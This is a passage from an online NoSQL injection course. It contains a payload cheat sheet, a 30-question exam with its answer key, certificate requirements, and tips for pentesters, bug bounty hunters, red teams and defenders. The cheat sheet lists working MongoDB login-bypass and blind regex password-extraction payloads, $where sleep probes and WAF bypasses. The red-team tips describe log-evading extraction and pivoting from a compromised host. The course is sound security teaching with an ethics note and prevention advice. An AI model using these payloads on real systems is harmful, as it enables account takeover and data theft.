|  BLIND EXTRACTION (anchored regex)                                       |
|    {"username":"admin","password":{"$regex":"^a"}}                       |
|    {"username":"admin","password":{"$regex":"^aa"}}                      |
|    {"username":"admin","password":{"$regex":"^aab"}}                     |
|    ... continue character by character                                   |
|                                                                          |
|  MONGO OPERATOR CATALOG                                                  |
|    $ne, $gt, $lt, $gte, $lte    comparison                               |
|    $in, $nin                    membership                               |
|    $exists, $type, $size        document shape                           |
|    $regex                       pattern match                            |
|    $and, $or, $nor, $not        boolean                                  |
|    $where, $expr                JavaScript / expression                  |
|    $all, $elemMatch             array operators                          |
|                                                                          |
|  $WHERE PAYLOADS (server-side JS)                                        |
|    {"$where":"sleep(5000)"}                                              |
|    {"$where":"this.password.length > 10"}                                |
|    {"$where":"this.username == 'admin' && this.role == 'admin'"}         |
|                                                                          |
|  COUCHDB MANGO SELECTORS                                                 |
|    {"selector":{"_id":{"$gt":""}}}                                       |
|    {"selector":{"_id":{"$regex":".*"}}}                                  |
|    {"selector":{"name":{"$exists":true}}}                                |
|                                                                          |
|  ELASTICSEARCH DSL                                                       |
|    {"query":{"match_all":{}}}                                            |
|    {"query":{"script":{"script":{"source":"1==1","lang":"painless"}}}}   |
|                                                                          |
|  WAF BYPASSES                                                            |
|    Unicode key:   {"\u0024ne":""}                                        |
|    Form-encoded:  username[$ne]=                                         |
|    Content-type:  swap JSON for form, or vice versa                      |
|    Whitespace:    {"$where":"sleep/**/(/**/5000/**/)"}                   |
|                                                                          |
|  GRAPHQL AMPLIFICATION                                                   |
|    query { a: login(pw:{regex:"^a"}){ok}                                 |
|            b: login(pw:{regex:"^b"}){ok} ... }                           |
|                                                                          |
|  TOOLS                                                                   |
|    NoSQLMap, nosqli (Go), Burp Suite, mongoaudit                         |
|                                                                          |
|  PREVENTION                                                              |
|    1. Cast every input to expected primitive type                        |
|    2. Use express-mongo-sanitize (Node) or equivalent                    |
|    3. Enable Mongoose sanitizeFilter                                     |
|    4. Whitelist allowed operators on filter endpoints                    |
|    5. Disable $where and server-side JS                                  |
|    6. Validate with a schema library (zod, Pydantic, yup)                |
|    7. Apply least-privilege DB users                                     |
|    8. Add query timeouts and rate limits                                 |
|                                                                          |
|  IMPACT LADDER                                                           |
|    Info disclosure -> auth bypass -> account takeover ->                 |
|    privilege escalation -> blind extraction -> tampering ->              |
|    SSRF -> RCE -> host compromise -> ransom                              |
|                                                                          |
|  KEY CWE: CWE-943                                                        |
|  OWASP CATEGORY: A03:2021 Injection                                      |
|                                                                          |
+--------------------------------------------------------------------------+
|                          Go hunt. -- ANAS EDUCATION                      |
+--------------------------------------------------------------------------+

SECTION 21. Exam

Thirty questions. Single best answer. Aim for 24/30 to consider yourself NoSQLi-fluent. Answers are at the end of the section.

Questions

  • 1. What CWE category covers NoSQL injection?

A) CWE-79 B) CWE-89 C) CWE-943 D) CWE-352

  • 2. Which payload most directly bypasses a MongoDB login when sent as JSON?

A) `{"username":"admin","password":"' OR 1=1--"}` B) `{"username":"admin","password":{"$ne":""}}` C) `{"username":"admin","password":"UNION SELECT"}` D) `{"username":"admin","password":";DROP DATABASE"}`

  • 3. What does `{"$gt":""}` do in a MongoDB filter?

A) Matches the literal string `$gt` B) Matches any document where the field is greater than empty string, i.e. anything non-empty C) Throws a syntax error D) Drops the collection

  • 4. Which Mongoose option mitigates operator injection on `findOne`?

A) `lean: true` B) `strict: false` C) `sanitizeFilter: true` D) `populate: true`

  • 5. What does `express-mongo-sanitize` remove from incoming requests?

A) Any field containing whitespace B) Any key starting with `$` or containing a dot C) Any value over 1024 bytes D) Any string with HTML characters

  • 6. Which of the following is a server-side JavaScript operator in MongoDB?

A) `$expr` B) `$where` C) `$lookup` D) `$project`

  • 7. Why is `$where` dangerous with user input?

A) It always returns full collections B) It evaluates a string as JavaScript on the database server C) It bypasses indexes D) It writes to disk

  • 8. What is the URL-parameter-pollution equivalent of `{"password":{"$ne":""}}`?

A) `?password=ne` B) `?password[$ne]=` C) `?password.ne=true` D) `?password=%24ne`

  • 9. Which operator is the foundation of blind regex extraction?

A) `$exists` B) `$regex` C) `$type` D) `$size`

  • 10. To extract a password by anchored regex, you would typically test:

A) `{"$regex":".*"}` B) `{"$regex":"^a"}`, then `^aa`, then `^aab`, etc. C) `{"$regex":"$"}` D) `{"$regex":"^password"}`

  • 11. What is operator injection?

A) Injecting raw SQL into a NoSQL engine B) Sending an object with operator keys where the application expected a value C) Injecting HTML into a JSON response D) Replacing the HTTP verb with a database command

  • 12. What is syntax injection in NoSQL contexts?

A) Injecting NoSQL operators B) Breaking out of a string concatenation used inside a query (often `$where`) C) Sending a malformed JSON body D) Bypassing TLS

  • 13. Which CVE corresponds to Mongoose populate.match operator injection?

A) CVE-2025-23061 B) CVE-2024-48573 C) CVE-2021-32050 D) CVE-2017-15535

  • 14. Which engine uses Mango selectors?

A) MongoDB B) CouchDB C) Cassandra D) DynamoDB

  • 15. What is the safest way to handle a user-supplied `age` parameter for a MongoDB query?

A) Pass it directly into `$where` B) Cast to Number, validate as finite, then use `{ age: { $gt: value } }` C) Send as a regex D) JSON.stringify it before query

  • 16. In Elasticsearch, which clause allows code execution when injected?

A) `match` B) `term` C) `script` D) `range`

  • 17. Which of these will an attacker most likely try first against a JSON login endpoint?

A) `{"$drop":1}` B) `{"username":"admin","password":{"$ne":""}}` C) `{"role":"admin"}` D) `{"sql":"UNION SELECT"}`

  • 18. What is the primary purpose of a schema validator like zod or Pydantic in NoSQLi defense?

A) Encrypt user input B) Reject inputs that do not match expected primitive types C) Improve query performance D) Log all queries

  • 19. Which content-type swap can sometimes bypass NoSQLi defenses?

A) JSON to plain text B) JSON to multipart form-data, or form-encoded C) JSON to YAML D) JSON to binary

  • 20. Which OWASP Top 10 category covers NoSQL injection?

A) A01:2021 Broken Access Control B) A02:2021 Cryptographic Failures C) A03:2021 Injection D) A05:2021 Security Misconfiguration

  • 21. What is the function of `$exists:true` in an injection context?

A) Checks if the document is encrypted B) Returns documents where the field is present, regardless of value C) Always returns false D) Triggers a sleep

  • 22. Why is the Mongo `$where` operator typically not safe even after input sanitization?

A) It always logs to stdout B) Any reachable JavaScript primitive can be reconstructed via string concatenation tricks; the operator itself is the vulnerability C) It requires admin privileges D) It bypasses indexes

  • 23. What is GraphQL alias amplification used for in NoSQLi?

A) Compressing JSON B) Bundling many extraction probes into a single HTTP request C) Bypassing TLS D) Encoding payloads

  • 24. Which of the following is an out-of-band exfiltration channel on MongoDB?

A) `$ne` B) `$lookup` with an external collection C) DNS callback initiated from server-side JavaScript in `$where` D) `$regex`

  • 25. What is the safest way to forbid all operator keys on a JSON body in Node.js?

A) Run `JSON.stringify` twice B) Apply `express-mongo-sanitize` middleware globally C) URL-encode every key D) Reject any body over 1MB

  • 26. What does `{"$ne":null}` typically match?

A) Documents where the field equals null B) Documents where the field is not null (i.e. anything non-null, including missing fields treated as not equal) C) Documents that have been deleted D) Nothing

  • 27. Which command-line tool is purpose-built for automated NoSQLi extraction?

A) sqlmap B) NoSQLMap C) hydra D) gobuster

  • 28. Which of these statements about Mongoose is true?

A) Mongoose schemas automatically block operator injection in every query B) Mongoose casts inputs by type, which helps but does not catch every operator injection; `sanitizeFilter` is still required C) Mongoose forbids `$where` by default D) Mongoose only supports MongoDB Atlas

  • 29. Why is the principle of least privilege important even with input validation in place?

A) It makes queries faster B) Defense in depth -- if injection happens despite validation, restricted permissions limit blast radius C) It reduces network traffic D) It is required by JSON spec

  • 30. The single most important rule for preventing NoSQL injection is:

A) Use a WAF B) Treat user input as data, never as query structure C) Encrypt the database D) Hide the API behind a load balancer

Answer key

  • 1.C 2.B 3.B 4.C 5.B 6.B 7.B 8.B 9.B 10.B
  • 11.B 12.B 13.A 14.B 15.B 16.C 17.B 18.B 19.B 20.C
  • 21.B 22.B 23.B 24.C 25.B 26.B 27.B 28.B 29.B 30.B

Scoring

  • 27 to 30: NoSQLi expert. Ready for bug bounty triage.
  • 24 to 26: Solid grasp. Review the few you missed.
  • 19 to 23: Functional. Re-read sections 11, 13, and 16.
  • Below 19: Re-read sections 1 to 8 and try the exam again.

SECTION 22. Certificate Requirements

The ANAS EDUCATION NoSQL Injection certificate is earned when the following are completed. The certificate confirms practical, exploitable understanding, not memorization.

Requirements

  • Complete reading of all 24 sections in this course
  • Score 24/30 or higher on the section 21 exam
  • Complete at least 8 of the 15 planned ANAS NoSQL Labs (once released)
  • Complete all three PortSwigger Academy NoSQL labs
  • Demonstrate a working blind regex extraction script against a controlled target
  • Demonstrate an authentication bypass on a vulnerable Node.js + MongoDB app
  • Write a 500 word write-up describing a recent NoSQLi CVE in your own words, including the root cause, exploitation, and fix
  • Build a personal payload library of at least 30 NoSQLi payloads, organized by technique
  • Document your detection workflow from black-box to confirmed vulnerability

What the certificate signals

  • You can identify operator injection in JSON and URL bodies
  • You can move from detection to extraction within one engagement
  • You understand the underlying root cause -- input treated as query structure
  • You can recommend concrete, framework-specific fixes
  • You know which engines and ORMs are involved in real-world CVEs

Pathways after the certificate

  • Bug bounty: focus on login, password-reset, and search endpoints on programs that use MongoDB
  • Pentest: add a NoSQLi checklist to every web-app engagement
  • Red team: practice persistent extraction over long time windows with low rate
  • Defense: contribute SAST rules and middleware patches to the open-source projects you depend on

A short note on ethics

This course teaches techniques that work. They are intended for authorized testing only. Targeting systems you do not own and do not have written permission to test is a crime in every jurisdiction this course is taught in. The certificate is meaningless without that ethical baseline.

SECTION 23. Important Notes

The patterns below come from years of seeing the same bugs reappear. Memorize them and you will save weeks of confusion.

Common beginner mistakes

  • Mistake 1: assuming NoSQL means "no injection"

The name is misleading. NoSQL engines have operators that the attacker can supply just like SQL keywords. The class is the same.

  • Mistake 2: only testing JSON bodies

URL parameter pollution (`?field[$op]=value`) works against many frameworks that parse query strings into objects.

  • Mistake 3: trusting Mongoose to be safe

Mongoose's schema cast catches some cases but does not block operator injection in every query path. You must still use `sanitizeFilter` and validate inputs.

  • Mistake 4: stopping after auth bypass

Auth bypass is one finding. Blind extraction, populate.match injection, and `$where` exploitation are additional findings on the same target. Look further.

  • Mistake 5: using long generic payload lists

NoSQLi is logic-driven. A curated 50-payload list is more useful than a 5,000-line generic dictionary.

  • Mistake 6: misunderstanding `$regex` versus prefix search

`{"$regex":"^a"}` anchored to start. Without `^`, regex matches anywhere and you lose the precision you need for extraction.

  • Mistake 7: ignoring response timing as a side channel

Boolean response differences are the easiest oracle, but timing through `$where` sleep works when boolean fails.

Pentester tips

  • Always pivot from black-box to source-assisted review the moment you confirm injection. The codebase shows you which other endpoints share the bug.
  • Build a personal NoSQLi checklist: login, register, reset, search, filter, profile, populate paths.
  • Test sanitization middleware by sending payloads from multiple input surfaces -- some apps sanitize `req.body` but forget `req.query`.
  • Confirm engine and version before reporting. Mongo 4 versus Mongo 6 changes available operators.
  • Save your extraction scripts. The next engagement will look similar enough that 70% reuse is realistic.

Bug bounty tips

  • Login and password-reset endpoints on Node.js + Mongo stacks remain the highest-value targets in 2026.
  • If the program uses GraphQL, test alias amplification before resigning yourself to slow extraction.
  • Triage low-impact regex behaviors carefully. A `$regex` reflection that confirms a single character is enough proof.
  • Always include a clean reproduction with `curl`. Triagers reward clarity.
  • Cite the relevant CVE class in your write-up when applicable. It speeds severity assignment.

Red team tips

  • NoSQLi is a useful initial-access primitive when the perimeter is largely a Node.js + MongoDB API.
  • Blind extraction at low rate evades most rate limiters and is invisible in standard logs.
  • Once code execution is achieved via `$where` or Elasticsearch script, treat the host like any other compromised app server.
  • Database servers often hold credentials for queues, caches, and secondary databases -- they are an excellent pivot point.

Defender tips

  • Add SAST rules that flag `findOne(req.body.*)`, `find(req.query.*)`, and any direct `populate({ match: ... })` from user input.
  • Mirror every JSON endpoint behind a strict schema validator. Reject everything that does not match.
  • Disable server-side scripting at the database tier if it is not used.
  • Set query timeouts so blind extraction is too slow to be useful.
  • Log query shape, not values, and alert on shapes that suddenly contain operator keys.

Key takeaways

  • Treat user input as data, never as query structure
  • Casting to expected primitive types prevents most operator injection
  • Sanitization middleware is a strong second line but should not be the only line
  • `$where`, Elasticsearch script, and Lua are code execution waiting to happen
  • Bug bounty hunters who specialize in this class still find P1s every year

SECTION 24. Final Word from Your Instructor

You finished the longest free NoSQL Injection course in print. You now know more than most working engineers about this class of bug, and you know enough to find it in code, exploit it in a lab, and explain it to a team.

Here is the short version of what the long version taught you.

NoSQL injection is the same bug as SQL injection wearing a different costume. Operator injection happens because the application trusts a JSON object to be a value, then a parser turns it into a query operator. The fix is structural, not cosmetic. Cast user input to its expected type. Use a schema validator. Apply middleware that strips operator keys. Whitelist operators on endpoints that legitimately accept them. Disable `$where` and server-side scripting. Apply least privilege. Add query timeouts. Log query shapes. Build defense in depth.

On the offensive side, the same six probes -- `$ne`, `$gt`, `$exists`, `$regex`, `$where`, URL parameter pollution -- continue to find P1 bugs on real targets in 2026. The CVE library in section 17 is proof that this class is alive and well. The Mongoose populate.match issue (CVE-2025-23061), the Aquila CMS finding (CVE-2024-48573), and the driver bugs from earlier years all tell the same story: developers keep forgetting that JSON arrived from a stranger.

The path from here is hands-on. Read code. Run NoSQLMap against a target you own. Write your own extraction script. Submit your first NoSQLi bounty. Build the muscle memory.

Stay curious. Stay ethical. Verify scope before you touch anything. The techniques in this course are real, the impact is real, and so is the responsibility that goes with the knowledge.

Go hunt.